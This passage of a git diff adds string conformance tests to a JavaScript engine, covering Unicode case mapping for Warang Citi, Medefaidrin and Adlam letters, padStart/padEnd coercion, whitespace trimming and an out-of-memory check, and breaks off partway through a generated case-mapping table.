+assertEq(String.fromCodePoint(0x118AF).toLowerCase().codePointAt(0), 0x118CF); // WARANG CITI CAPITAL LETTER UC, WARANG CITI SMALL LETTER UC
+assertEq(String.fromCodePoint(0x118B0).toLowerCase().codePointAt(0), 0x118D0); // WARANG CITI CAPITAL LETTER ENN, WARANG CITI SMALL LETTER ENN
+assertEq(String.fromCodePoint(0x118B1).toLowerCase().codePointAt(0), 0x118D1); // WARANG CITI CAPITAL LETTER ODD, WARANG CITI SMALL LETTER ODD
+assertEq(String.fromCodePoint(0x118B2).toLowerCase().codePointAt(0), 0x118D2); // WARANG CITI CAPITAL LETTER TTE, WARANG CITI SMALL LETTER TTE
+assertEq(String.fromCodePoint(0x118B3).toLowerCase().codePointAt(0), 0x118D3); // WARANG CITI CAPITAL LETTER NUNG, WARANG CITI SMALL LETTER NUNG
+assertEq(String.fromCodePoint(0x118B4).toLowerCase().codePointAt(0), 0x118D4); // WARANG CITI CAPITAL LETTER DA, WARANG CITI SMALL LETTER DA
+assertEq(String.fromCodePoint(0x118B5).toLowerCase().codePointAt(0), 0x118D5); // WARANG CITI CAPITAL LETTER AT, WARANG CITI SMALL LETTER AT
+assertEq(String.fromCodePoint(0x118B6).toLowerCase().codePointAt(0), 0x118D6); // WARANG CITI CAPITAL LETTER AM, WARANG CITI SMALL LETTER AM
+assertEq(String.fromCodePoint(0x118B7).toLowerCase().codePointAt(0), 0x118D7); // WARANG CITI CAPITAL LETTER BU, WARANG CITI SMALL LETTER BU
+assertEq(String.fromCodePoint(0x118B8).toLowerCase().codePointAt(0), 0x118D8); // WARANG CITI CAPITAL LETTER PU, WARANG CITI SMALL LETTER PU
+assertEq(String.fromCodePoint(0x118B9).toLowerCase().codePointAt(0), 0x118D9); // WARANG CITI CAPITAL LETTER HIYO, WARANG CITI SMALL LETTER HIYO
+assertEq(String.fromCodePoint(0x118BA).toLowerCase().codePointAt(0), 0x118DA); // WARANG CITI CAPITAL LETTER HOLO, WARANG CITI SMALL LETTER HOLO
+assertEq(String.fromCodePoint(0x118BB).toLowerCase().codePointAt(0), 0x118DB); // WARANG CITI CAPITAL LETTER HORR, WARANG CITI SMALL LETTER HORR
+assertEq(String.fromCodePoint(0x118BC).toLowerCase().codePointAt(0), 0x118DC); // WARANG CITI CAPITAL LETTER HAR, WARANG CITI SMALL LETTER HAR
+assertEq(String.fromCodePoint(0x118BD).toLowerCase().codePointAt(0), 0x118DD); // WARANG CITI CAPITAL LETTER SSUU, WARANG CITI SMALL LETTER SSUU
+assertEq(String.fromCodePoint(0x118BE).toLowerCase().codePointAt(0), 0x118DE); // WARANG CITI CAPITAL LETTER SII, WARANG CITI SMALL LETTER SII
+assertEq(String.fromCodePoint(0x118BF).toLowerCase().codePointAt(0), 0x118DF); // WARANG CITI CAPITAL LETTER VIYO, WARANG CITI SMALL LETTER VIYO
+assertEq(String.fromCodePoint(0x16E40).toLowerCase().codePointAt(0), 0x16E60); // MEDEFAIDRIN CAPITAL LETTER M, MEDEFAIDRIN SMALL LETTER M
+assertEq(String.fromCodePoint(0x16E41).toLowerCase().codePointAt(0), 0x16E61); // MEDEFAIDRIN CAPITAL LETTER S, MEDEFAIDRIN SMALL LETTER S
+assertEq(String.fromCodePoint(0x16E42).toLowerCase().codePointAt(0), 0x16E62); // MEDEFAIDRIN CAPITAL LETTER V, MEDEFAIDRIN SMALL LETTER V
+assertEq(String.fromCodePoint(0x16E43).toLowerCase().codePointAt(0), 0x16E63); // MEDEFAIDRIN CAPITAL LETTER W, MEDEFAIDRIN SMALL LETTER W
+assertEq(String.fromCodePoint(0x16E44).toLowerCase().codePointAt(0), 0x16E64); // MEDEFAIDRIN CAPITAL LETTER ATIU, MEDEFAIDRIN SMALL LETTER ATIU
+assertEq(String.fromCodePoint(0x16E45).toLowerCase().codePointAt(0), 0x16E65); // MEDEFAIDRIN CAPITAL LETTER Z, MEDEFAIDRIN SMALL LETTER Z
+assertEq(String.fromCodePoint(0x16E46).toLowerCase().codePointAt(0), 0x16E66); // MEDEFAIDRIN CAPITAL LETTER KP, MEDEFAIDRIN SMALL LETTER KP
+assertEq(String.fromCodePoint(0x16E47).toLowerCase().codePointAt(0), 0x16E67); // MEDEFAIDRIN CAPITAL LETTER P, MEDEFAIDRIN SMALL LETTER P
+assertEq(String.fromCodePoint(0x16E48).toLowerCase().codePointAt(0), 0x16E68); // MEDEFAIDRIN CAPITAL LETTER T, MEDEFAIDRIN SMALL LETTER T
+assertEq(String.fromCodePoint(0x16E49).toLowerCase().codePointAt(0), 0x16E69); // MEDEFAIDRIN CAPITAL LETTER G, MEDEFAIDRIN SMALL LETTER G
+assertEq(String.fromCodePoint(0x16E4A).toLowerCase().codePointAt(0), 0x16E6A); // MEDEFAIDRIN CAPITAL LETTER F, MEDEFAIDRIN SMALL LETTER F
+assertEq(String.fromCodePoint(0x16E4B).toLowerCase().codePointAt(0), 0x16E6B); // MEDEFAIDRIN CAPITAL LETTER I, MEDEFAIDRIN SMALL LETTER I
+assertEq(String.fromCodePoint(0x16E4C).toLowerCase().codePointAt(0), 0x16E6C); // MEDEFAIDRIN CAPITAL LETTER K, MEDEFAIDRIN SMALL LETTER K
+assertEq(String.fromCodePoint(0x16E4D).toLowerCase().codePointAt(0), 0x16E6D); // MEDEFAIDRIN CAPITAL LETTER A, MEDEFAIDRIN SMALL LETTER A
+assertEq(String.fromCodePoint(0x16E4E).toLowerCase().codePointAt(0), 0x16E6E); // MEDEFAIDRIN CAPITAL LETTER J, MEDEFAIDRIN SMALL LETTER J
+assertEq(String.fromCodePoint(0x16E4F).toLowerCase().codePointAt(0), 0x16E6F); // MEDEFAIDRIN CAPITAL LETTER E, MEDEFAIDRIN SMALL LETTER E
+assertEq(String.fromCodePoint(0x16E50).toLowerCase().codePointAt(0), 0x16E70); // MEDEFAIDRIN CAPITAL LETTER B, MEDEFAIDRIN SMALL LETTER B
+assertEq(String.fromCodePoint(0x16E51).toLowerCase().codePointAt(0), 0x16E71); // MEDEFAIDRIN CAPITAL LETTER C, MEDEFAIDRIN SMALL LETTER C
+assertEq(String.fromCodePoint(0x16E52).toLowerCase().codePointAt(0), 0x16E72); // MEDEFAIDRIN CAPITAL LETTER U, MEDEFAIDRIN SMALL LETTER U
+assertEq(String.fromCodePoint(0x16E53).toLowerCase().codePointAt(0), 0x16E73); // MEDEFAIDRIN CAPITAL LETTER YU, MEDEFAIDRIN SMALL LETTER YU
+assertEq(String.fromCodePoint(0x16E54).toLowerCase().codePointAt(0), 0x16E74); // MEDEFAIDRIN CAPITAL LETTER L, MEDEFAIDRIN SMALL LETTER L
+assertEq(String.fromCodePoint(0x16E55).toLowerCase().codePointAt(0), 0x16E75); // MEDEFAIDRIN CAPITAL LETTER Q, MEDEFAIDRIN SMALL LETTER Q
+assertEq(String.fromCodePoint(0x16E56).toLowerCase().codePointAt(0), 0x16E76); // MEDEFAIDRIN CAPITAL LETTER HP, MEDEFAIDRIN SMALL LETTER HP
+assertEq(String.fromCodePoint(0x16E57).toLowerCase().codePointAt(0), 0x16E77); // MEDEFAIDRIN CAPITAL LETTER NY, MEDEFAIDRIN SMALL LETTER NY
+assertEq(String.fromCodePoint(0x16E58).toLowerCase().codePointAt(0), 0x16E78); // MEDEFAIDRIN CAPITAL LETTER X, MEDEFAIDRIN SMALL LETTER X
+assertEq(String.fromCodePoint(0x16E59).toLowerCase().codePointAt(0), 0x16E79); // MEDEFAIDRIN CAPITAL LETTER D, MEDEFAIDRIN SMALL LETTER D
+assertEq(String.fromCodePoint(0x16E5A).toLowerCase().codePointAt(0), 0x16E7A); // MEDEFAIDRIN CAPITAL LETTER OE, MEDEFAIDRIN SMALL LETTER OE
+assertEq(String.fromCodePoint(0x16E5B).toLowerCase().codePointAt(0), 0x16E7B); // MEDEFAIDRIN CAPITAL LETTER N, MEDEFAIDRIN SMALL LETTER N
+assertEq(String.fromCodePoint(0x16E5C).toLowerCase().codePointAt(0), 0x16E7C); // MEDEFAIDRIN CAPITAL LETTER R, MEDEFAIDRIN SMALL LETTER R
+assertEq(String.fromCodePoint(0x16E5D).toLowerCase().codePointAt(0), 0x16E7D); // MEDEFAIDRIN CAPITAL LETTER O, MEDEFAIDRIN SMALL LETTER O
+assertEq(String.fromCodePoint(0x16E5E).toLowerCase().codePointAt(0), 0x16E7E); // MEDEFAIDRIN CAPITAL LETTER AI, MEDEFAIDRIN SMALL LETTER AI
+assertEq(String.fromCodePoint(0x16E5F).toLowerCase().codePointAt(0), 0x16E7F); // MEDEFAIDRIN CAPITAL LETTER Y, MEDEFAIDRIN SMALL LETTER Y
+assertEq(String.fromCodePoint(0x1E900).toLowerCase().codePointAt(0), 0x1E922); // ADLAM CAPITAL LETTER ALIF, ADLAM SMALL LETTER ALIF
+assertEq(String.fromCodePoint(0x1E901).toLowerCase().codePointAt(0), 0x1E923); // ADLAM CAPITAL LETTER DAALI, ADLAM SMALL LETTER DAALI
+assertEq(String.fromCodePoint(0x1E902).toLowerCase().codePointAt(0), 0x1E924); // ADLAM CAPITAL LETTER LAAM, ADLAM SMALL LETTER LAAM
+assertEq(String.fromCodePoint(0x1E903).toLowerCase().codePointAt(0), 0x1E925); // ADLAM CAPITAL LETTER MIIM, ADLAM SMALL LETTER MIIM
+assertEq(String.fromCodePoint(0x1E904).toLowerCase().codePointAt(0), 0x1E926); // ADLAM CAPITAL LETTER BA, ADLAM SMALL LETTER BA
+assertEq(String.fromCodePoint(0x1E905).toLowerCase().codePointAt(0), 0x1E927); // ADLAM CAPITAL LETTER SINNYIIYHE, ADLAM SMALL LETTER SINNYIIYHE
+assertEq(String.fromCodePoint(0x1E906).toLowerCase().codePointAt(0), 0x1E928); // ADLAM CAPITAL LETTER PE, ADLAM SMALL LETTER PE
+assertEq(String.fromCodePoint(0x1E907).toLowerCase().codePointAt(0), 0x1E929); // ADLAM CAPITAL LETTER BHE, ADLAM SMALL LETTER BHE
+assertEq(String.fromCodePoint(0x1E908).toLowerCase().codePointAt(0), 0x1E92A); // ADLAM CAPITAL LETTER RA, ADLAM SMALL LETTER RA
+assertEq(String.fromCodePoint(0x1E909).toLowerCase().codePointAt(0), 0x1E92B); // ADLAM CAPITAL LETTER E, ADLAM SMALL LETTER E
+assertEq(String.fromCodePoint(0x1E90A).toLowerCase().codePointAt(0), 0x1E92C); // ADLAM CAPITAL LETTER FA, ADLAM SMALL LETTER FA
+assertEq(String.fromCodePoint(0x1E90B).toLowerCase().codePointAt(0), 0x1E92D); // ADLAM CAPITAL LETTER I, ADLAM SMALL LETTER I
+assertEq(String.fromCodePoint(0x1E90C).toLowerCase().codePointAt(0), 0x1E92E); // ADLAM CAPITAL LETTER O, ADLAM SMALL LETTER O
+assertEq(String.fromCodePoint(0x1E90D).toLowerCase().codePointAt(0), 0x1E92F); // ADLAM CAPITAL LETTER DHA, ADLAM SMALL LETTER DHA
+assertEq(String.fromCodePoint(0x1E90E).toLowerCase().codePointAt(0), 0x1E930); // ADLAM CAPITAL LETTER YHE, ADLAM SMALL LETTER YHE
+assertEq(String.fromCodePoint(0x1E90F).toLowerCase().codePointAt(0), 0x1E931); // ADLAM CAPITAL LETTER WAW, ADLAM SMALL LETTER WAW
+assertEq(String.fromCodePoint(0x1E910).toLowerCase().codePointAt(0), 0x1E932); // ADLAM CAPITAL LETTER NUN, ADLAM SMALL LETTER NUN
+assertEq(String.fromCodePoint(0x1E911).toLowerCase().codePointAt(0), 0x1E933); // ADLAM CAPITAL LETTER KAF, ADLAM SMALL LETTER KAF
+assertEq(String.fromCodePoint(0x1E912).toLowerCase().codePointAt(0), 0x1E934); // ADLAM CAPITAL LETTER YA, ADLAM SMALL LETTER YA
+assertEq(String.fromCodePoint(0x1E913).toLowerCase().codePointAt(0), 0x1E935); // ADLAM CAPITAL LETTER U, ADLAM SMALL LETTER U
+assertEq(String.fromCodePoint(0x1E914).toLowerCase().codePointAt(0), 0x1E936); // ADLAM CAPITAL LETTER JIIM, ADLAM SMALL LETTER JIIM
+assertEq(String.fromCodePoint(0x1E915).toLowerCase().codePointAt(0), 0x1E937); // ADLAM CAPITAL LETTER CHI, ADLAM SMALL LETTER CHI
+assertEq(String.fromCodePoint(0x1E916).toLowerCase().codePointAt(0), 0x1E938); // ADLAM CAPITAL LETTER HA, ADLAM SMALL LETTER HA
+assertEq(String.fromCodePoint(0x1E917).toLowerCase().codePointAt(0), 0x1E939); // ADLAM CAPITAL LETTER QAAF, ADLAM SMALL LETTER QAAF
+assertEq(String.fromCodePoint(0x1E918).toLowerCase().codePointAt(0), 0x1E93A); // ADLAM CAPITAL LETTER GA, ADLAM SMALL LETTER GA
+assertEq(String.fromCodePoint(0x1E919).toLowerCase().codePointAt(0), 0x1E93B); // ADLAM CAPITAL LETTER NYA, ADLAM SMALL LETTER NYA
+assertEq(String.fromCodePoint(0x1E91A).toLowerCase().codePointAt(0), 0x1E93C); // ADLAM CAPITAL LETTER TU, ADLAM SMALL LETTER TU
+assertEq(String.fromCodePoint(0x1E91B).toLowerCase().codePointAt(0), 0x1E93D); // ADLAM CAPITAL LETTER NHA, ADLAM SMALL LETTER NHA
+assertEq(String.fromCodePoint(0x1E91C).toLowerCase().codePointAt(0), 0x1E93E); // ADLAM CAPITAL LETTER VA, ADLAM SMALL LETTER VA
+assertEq(String.fromCodePoint(0x1E91D).toLowerCase().codePointAt(0), 0x1E93F); // ADLAM CAPITAL LETTER KHA, ADLAM SMALL LETTER KHA
+assertEq(String.fromCodePoint(0x1E91E).toLowerCase().codePointAt(0), 0x1E940); // ADLAM CAPITAL LETTER GBE, ADLAM SMALL LETTER GBE
+assertEq(String.fromCodePoint(0x1E91F).toLowerCase().codePointAt(0), 0x1E941); // ADLAM CAPITAL LETTER ZAL, ADLAM SMALL LETTER ZAL
+assertEq(String.fromCodePoint(0x1E920).toLowerCase().codePointAt(0), 0x1E942); // ADLAM CAPITAL LETTER KPO, ADLAM SMALL LETTER KPO
+assertEq(String.fromCodePoint(0x1E921).toLowerCase().codePointAt(0), 0x1E943); // ADLAM CAPITAL LETTER SHA, ADLAM SMALL LETTER SHA
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-object-length.js b/js/src/tests/non262/String/string-object-length.js
new file mode 100644
index 0000000000..9c464cc038
--- /dev/null
+++ b/js/src/tests/non262/String/string-object-length.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 650621;
+var summary = 'String object length test';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(raisesException(InternalError)('for (args = "" ;;) args+=new String(args)+1'), true);
+
+reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/string-pad-start-end.js b/js/src/tests/non262/String/string-pad-start-end.js
new file mode 100644
index 0000000000..d784c83e0d
--- /dev/null
+++ b/js/src/tests/non262/String/string-pad-start-end.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// `this` must be object coercable.
+
+for (let badThis of [null, undefined]) {
+ assertThrowsInstanceOf(() => {
+ String.prototype.padStart.call(badThis, 42, "oups");
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ String.prototype.padEnd.call(badThis, 42, "oups");
+ }, TypeError);
+}
+
+let proxy = new Proxy({}, {
+get(t, name) {
+ if (name === Symbol.toPrimitive || name === "toString") return;
+ if (name === "valueOf") return () => 42;
+ throw "This should not be reachable";
+}
+});
+
+assertEq("42bloop", String.prototype.padEnd.call(proxy, 7, "bloopie"));
+
+// maxLength must convert to an integer
+
+assertEq("lame", "lame".padStart(0, "foo"));
+assertEq("lame", "lame".padStart(0.1119, "foo"));
+assertEq("lame", "lame".padStart(-0, "foo"));
+assertEq("lame", "lame".padStart(NaN, "foo"));
+assertEq("lame", "lame".padStart(-1, "foo"));
+assertEq("lame", "lame".padStart({toString: () => 0}, "foo"));
+
+assertEq("lame", "lame".padEnd(0, "foo"));
+assertEq("lame", "lame".padEnd(0.1119, "foo"));
+assertEq("lame", "lame".padEnd(-0, "foo"));
+assertEq("lame", "lame".padEnd(NaN, "foo"));
+assertEq("lame", "lame".padEnd(-1, "foo"));
+assertEq("lame", "lame".padEnd({toString: () => 0}, "foo"));
+
+assertThrowsInstanceOf(() => {
+ "lame".padStart(Symbol("9900"), 0);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ "lame".padEnd(Symbol("9900"), 0);
+}, TypeError);
+
+// The fill argument must be string coercable.
+
+assertEq("nulln.", ".".padStart(6, null));
+assertEq(".nulln", ".".padEnd(6, null));
+
+assertEq("[obje.", ".".padStart(6, {}));
+assertEq(".[obje", ".".padEnd(6, {}));
+
+assertEq("1,2,3.", ".".padStart(6, [1, 2, 3]));
+assertEq(".1,2,3", ".".padEnd(6, [1, 2, 3]));
+
+assertEq("aaaaa.", ".".padStart(6, {toString: () => "a"}));
+assertEq(".aaaaa", ".".padEnd(6, {toString: () => "a"}));
+
+// undefined is converted to " "
+
+assertEq(" .", ".".padStart(6, undefined));
+assertEq(". ", ".".padEnd(6, undefined));
+
+assertEq(" .", ".".padStart(6));
+assertEq(". ", ".".padEnd(6));
+
+// The empty string has no effect
+
+assertEq("Tilda", "Tilda".padStart(100000, ""));
+assertEq("Tilda", "Tilda".padEnd(100000, ""));
+
+assertEq("Tilda", "Tilda".padStart(100000, {toString: () => ""}));
+assertEq("Tilda", "Tilda".padEnd(100000, {toString: () => ""}));
+
+// Test repetition against a bruteforce implementation
+
+let filler = "space";
+let truncatedFiller = "";
+for (let i = 0; i < 2500; i++) {
+ truncatedFiller += filler[i % filler.length];
+ assertEq(truncatedFiller + "goto", "goto".padStart(5 + i, filler));
+ assertEq("goto" + truncatedFiller, "goto".padEnd(5 + i, filler));
+}
+
+// [Argument] Length
+
+assertEq(1, String.prototype.padStart.length)
+assertEq(1, String.prototype.padEnd.length)
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/String/string-space-trim.js b/js/src/tests/non262/String/string-space-trim.js
new file mode 100644
index 0000000000..bcc2e90d6c
--- /dev/null
+++ b/js/src/tests/non262/String/string-space-trim.js
@@ -0,0 +1,42 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 13.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var onlySpace = String.fromCharCode(
+ 0x0009 /* <control> (CHARACTER TABULATION) */,
+ 0x000A /* <control> (LINE FEED (LF)) */,
+ 0x000B /* <control> (LINE TABULATION) */,
+ 0x000C /* <control> (FORM FEED (FF)) */,
+ 0x000D /* <control> (CARRIAGE RETURN (CR)) */,
+ 0x0020 /* SPACE */,
+ 0x00A0 /* NO-BREAK SPACE (NON-BREAKING SPACE) */,
+ 0x1680 /* OGHAM SPACE MARK */,
+ 0x2000 /* EN QUAD */,
+ 0x2001 /* EM QUAD */,
+ 0x2002 /* EN SPACE */,
+ 0x2003 /* EM SPACE */,
+ 0x2004 /* THREE-PER-EM SPACE */,
+ 0x2005 /* FOUR-PER-EM SPACE */,
+ 0x2006 /* SIX-PER-EM SPACE */,
+ 0x2007 /* FIGURE SPACE */,
+ 0x2008 /* PUNCTUATION SPACE */,
+ 0x2009 /* THIN SPACE */,
+ 0x200A /* HAIR SPACE */,
+ 0x2028 /* LINE SEPARATOR */,
+ 0x2029 /* PARAGRAPH SEPARATOR */,
+ 0x202F /* NARROW NO-BREAK SPACE */,
+ 0x205F /* MEDIUM MATHEMATICAL SPACE */,
+ 0x3000 /* IDEOGRAPHIC SPACE */,
+ 0xFEFF /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+);
+
+assertEq(onlySpace.trim(), "");
+assertEq((onlySpace + 'aaaa').trim(), 'aaaa');
+assertEq(('aaaa' + onlySpace).trim(), 'aaaa');
+assertEq((onlySpace + 'aaaa' + onlySpace).trim(), 'aaaa');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-upper-lower-mapping.js b/js/src/tests/non262/String/string-upper-lower-mapping.js
new file mode 100644
index 0000000000..acffb0f40f
--- /dev/null
+++ b/js/src/tests/non262/String/string-upper-lower-mapping.js
@@ -0,0 +1,65557 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 13.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var mapping = [
+ ["\u0000", "\u0000"], /* <control> (NULL) */
+ ["\u0001", "\u0001"], /* <control> (START OF HEADING) */
+ ["\u0002", "\u0002"], /* <control> (START OF TEXT) */
+ ["\u0003", "\u0003"], /* <control> (END OF TEXT) */
+ ["\u0004", "\u0004"], /* <control> (END OF TRANSMISSION) */
+ ["\u0005", "\u0005"], /* <control> (ENQUIRY) */
+ ["\u0006", "\u0006"], /* <control> (ACKNOWLEDGE) */
+ ["\u0007", "\u0007"], /* <control> (BELL) */
+ ["\u0008", "\u0008"], /* <control> (BACKSPACE) */
+ ["\u0009", "\u0009"], /* <control> (CHARACTER TABULATION) */
+ ["\u000A", "\u000A"], /* <control> (LINE FEED (LF)) */
+ ["\u000B", "\u000B"], /* <control> (LINE TABULATION) */
+ ["\u000C", "\u000C"], /* <control> (FORM FEED (FF)) */
+ ["\u000D", "\u000D"], /* <control> (CARRIAGE RETURN (CR)) */
+ ["\u000E", "\u000E"], /* <control> (SHIFT OUT) */
+ ["\u000F", "\u000F"], /* <control> (SHIFT IN) */
+ ["\u0010", "\u0010"], /* <control> (DATA LINK ESCAPE) */
+ ["\u0011", "\u0011"], /* <control> (DEVICE CONTROL ONE) */
+ ["\u0012", "\u0012"], /* <control> (DEVICE CONTROL TWO) */
+ ["\u0013", "\u0013"], /* <control> (DEVICE CONTROL THREE) */
+ ["\u0014", "\u0014"], /* <control> (DEVICE CONTROL FOUR) */
+ ["\u0015", "\u0015"], /* <control> (NEGATIVE ACKNOWLEDGE) */
+ ["\u0016", "\u0016"], /* <control> (SYNCHRONOUS IDLE) */
+ ["\u0017", "\u0017"], /* <control> (END OF TRANSMISSION BLOCK) */
+ ["\u0018", "\u0018"], /* <control> (CANCEL) */
+ ["\u0019", "\u0019"], /* <control> (END OF MEDIUM) */
+ ["\u001A", "\u001A"], /* <control> (SUBSTITUTE) */
+ ["\u001B", "\u001B"], /* <control> (ESCAPE) */
+ ["\u001C", "\u001C"], /* <control> (INFORMATION SEPARATOR FOUR) */
+ ["\u001D", "\u001D"], /* <control> (INFORMATION SEPARATOR THREE) */
+ ["\u001E", "\u001E"], /* <control> (INFORMATION SEPARATOR TWO) */
+ ["\u001F", "\u001F"], /* <control> (INFORMATION SEPARATOR ONE) */
+ ["\u0020", "\u0020"], /* SPACE */
+ ["\u0021", "\u0021"], /* EXCLAMATION MARK */
+ ["\u0022", "\u0022"], /* QUOTATION MARK */
+ ["\u0023", "\u0023"], /* NUMBER SIGN */
+ ["\u0024", "\u0024"], /* DOLLAR SIGN */
+ ["\u0025", "\u0025"], /* PERCENT SIGN */
+ ["\u0026", "\u0026"], /* AMPERSAND */
+ ["\u0027", "\u0027"], /* APOSTROPHE (APOSTROPHE-QUOTE) */
+ ["\u0028", "\u0028"], /* LEFT PARENTHESIS (OPENING PARENTHESIS) */
+ ["\u0029", "\u0029"], /* RIGHT PARENTHESIS (CLOSING PARENTHESIS) */
+ ["\u002A", "\u002A"], /* ASTERISK */
+ ["\u002B", "\u002B"], /* PLUS SIGN */
+ ["\u002C", "\u002C"], /* COMMA */
+ ["\u002D", "\u002D"], /* HYPHEN-MINUS */
+ ["\u002E", "\u002E"], /* FULL STOP (PERIOD) */
+ ["\u002F", "\u002F"], /* SOLIDUS (SLASH) */
+ ["\u0030", "\u0030"], /* DIGIT ZERO */
+ ["\u0031", "\u0031"], /* DIGIT ONE */
+ ["\u0032", "\u0032"], /* DIGIT TWO */
+ ["\u0033", "\u0033"], /* DIGIT THREE */
+ ["\u0034", "\u0034"], /* DIGIT FOUR */
+ ["\u0035", "\u0035"], /* DIGIT FIVE */
+ ["\u0036", "\u0036"], /* DIGIT SIX */
+ ["\u0037", "\u0037"], /* DIGIT SEVEN */
+ ["\u0038", "\u0038"], /* DIGIT EIGHT */
+ ["\u0039", "\u0039"], /* DIGIT NINE */
+ ["\u003A", "\u003A"], /* COLON */
+ ["\u003B", "\u003B"], /* SEMICOLON */
+ ["\u003C", "\u003C"], /* LESS-THAN SIGN */
+ ["\u003D", "\u003D"], /* EQUALS SIGN */
+ ["\u003E", "\u003E"], /* GREATER-THAN SIGN */
+ ["\u003F", "\u003F"], /* QUESTION MARK */
+ ["\u0040", "\u0040"], /* COMMERCIAL AT */
+ ["\u0041", "\u0061"], /* LATIN CAPITAL LETTER A */
+ ["\u0042", "\u0062"], /* LATIN CAPITAL LETTER B */
+ ["\u0043", "\u0063"], /* LATIN CAPITAL LETTER C */
+ ["\u0044", "\u0064"], /* LATIN CAPITAL LETTER D */
+ ["\u0045", "\u0065"], /* LATIN CAPITAL LETTER E */
+ ["\u0046", "\u0066"], /* LATIN CAPITAL LETTER F */
+ ["\u0047", "\u0067"], /* LATIN CAPITAL LETTER G */
+ ["\u0048", "\u0068"], /* LATIN CAPITAL LETTER H */
+ ["\u0049", "\u0069"], /* LATIN CAPITAL LETTER I */
+ ["\u004A", "\u006A"], /* LATIN CAPITAL LETTER J */
+ ["\u004B", "\u006B"], /* LATIN CAPITAL LETTER K */
+ ["\u004C", "\u006C"], /* LATIN CAPITAL LETTER L */
+ ["\u004D", "\u006D"], /* LATIN CAPITAL LETTER M */
+ ["\u004E", "\u006E"], /* LATIN CAPITAL LETTER N */
+ ["\u004F", "\u006F"], /* LATIN CAPITAL LETTER O */
+ ["\u0050", "\u0070"], /* LATIN CAPITAL LETTER P */
+ ["\u0051", "\u0071"], /* LATIN CAPITAL LETTER Q */
+ ["\u0052", "\u0072"], /* LATIN CAPITAL LETTER R */
+ ["\u0053", "\u0073"], /* LATIN CAPITAL LETTER S */
+ ["\u0054", "\u0074"], /* LATIN CAPITAL LETTER T */
+ ["\u0055", "\u0075"], /* LATIN CAPITAL LETTER U */
+ ["\u0056", "\u0076"], /* LATIN CAPITAL LETTER V */
+ ["\u0057", "\u0077"], /* LATIN CAPITAL LETTER W */
+ ["\u0058", "\u0078"], /* LATIN CAPITAL LETTER X */
+ ["\u0059", "\u0079"], /* LATIN CAPITAL LETTER Y */
+ ["\u005A", "\u007A"], /* LATIN CAPITAL LETTER Z */
+ ["\u005B", "\u005B"], /* LEFT SQUARE BRACKET (OPENING SQUARE BRACKET) */
+ ["\u005C", "\u005C"], /* REVERSE SOLIDUS (BACKSLASH) */
+ ["\u005D", "\u005D"], /* RIGHT SQUARE BRACKET (CLOSING SQUARE BRACKET) */
+ ["\u005E", "\u005E"], /* CIRCUMFLEX ACCENT (SPACING CIRCUMFLEX) */
+ ["\u005F", "\u005F"], /* LOW LINE (SPACING UNDERSCORE) */
+ ["\u0060", "\u0060"], /* GRAVE ACCENT (SPACING GRAVE) */
+ ["\u0041", "\u0061"], /* LATIN SMALL LETTER A */
+ ["\u0042", "\u0062"], /* LATIN SMALL LETTER B */
+ ["\u0043", "\u0063"], /* LATIN SMALL LETTER C */
+ ["\u0044", "\u0064"], /* LATIN SMALL LETTER D */
+ ["\u0045", "\u0065"], /* LATIN SMALL LETTER E */
+ ["\u0046", "\u0066"], /* LATIN SMALL LETTER F */
+ ["\u0047", "\u0067"], /* LATIN SMALL LETTER G */
+ ["\u0048", "\u0068"], /* LATIN SMALL LETTER H */
+ ["\u0049", "\u0069"], /* LATIN SMALL LETTER I */
+ ["\u004A", "\u006A"], /* LATIN SMALL LETTER J */
+ ["\u004B", "\u006B"], /* LATIN SMALL LETTER K */
+ ["\u004C", "\u006C"], /* LATIN SMALL LETTER L */
+ ["\u004D", "\u006D"], /* LATIN SMALL LETTER M */
+ ["\u004E", "\u006E"], /* LATIN SMALL LETTER N */
+ ["\u004F", "\u006F"], /* LATIN SMALL LETTER O */
+ ["\u0050", "\u0070"], /* LATIN SMALL LETTER P */
+ ["\u0051", "\u0071"], /* LATIN SMALL LETTER Q */
+ ["\u0052", "\u0072"], /* LATIN SMALL LETTER R */
+ ["\u0053", "\u0073"], /* LATIN SMALL LETTER S */
+ ["\u0054", "\u0074"], /* LATIN SMALL LETTER T */
+ ["\u0055", "\u0075"], /* LATIN SMALL LETTER U */
+ ["\u0056", "\u0076"], /* LATIN SMALL LETTER V */
+ ["\u0057", "\u0077"], /* LATIN SMALL LETTER W */
+ ["\u0058", "\u0078"], /* LATIN SMALL LETTER X */
+ ["\u0059", "\u0079"], /* LATIN SMALL LETTER Y */
+ ["\u005A", "\u007A"], /* LATIN SMALL LETTER Z */
+ ["\u007B", "\u007B"], /* LEFT CURLY BRACKET (OPENING CURLY BRACKET) */
+ ["\u007C", "\u007C"], /* VERTICAL LINE (VERTICAL BAR) */
+ ["\u007D", "\u007D"], /* RIGHT CURLY BRACKET (CLOSING CURLY BRACKET) */
+ ["\u007E", "\u007E"], /* TILDE */
+ ["\u007F", "\u007F"], /* <control> (DELETE) */
+ ["\u0080", "\u0080"], /* <control> */
+ ["\u0081", "\u0081"], /* <control> */
+ ["\u0082", "\u0082"], /* <control> (BREAK PERMITTED HERE) */
+ ["\u0083", "\u0083"], /* <control> (NO BREAK HERE) */
+ ["\u0084", "\u0084"], /* <control> */
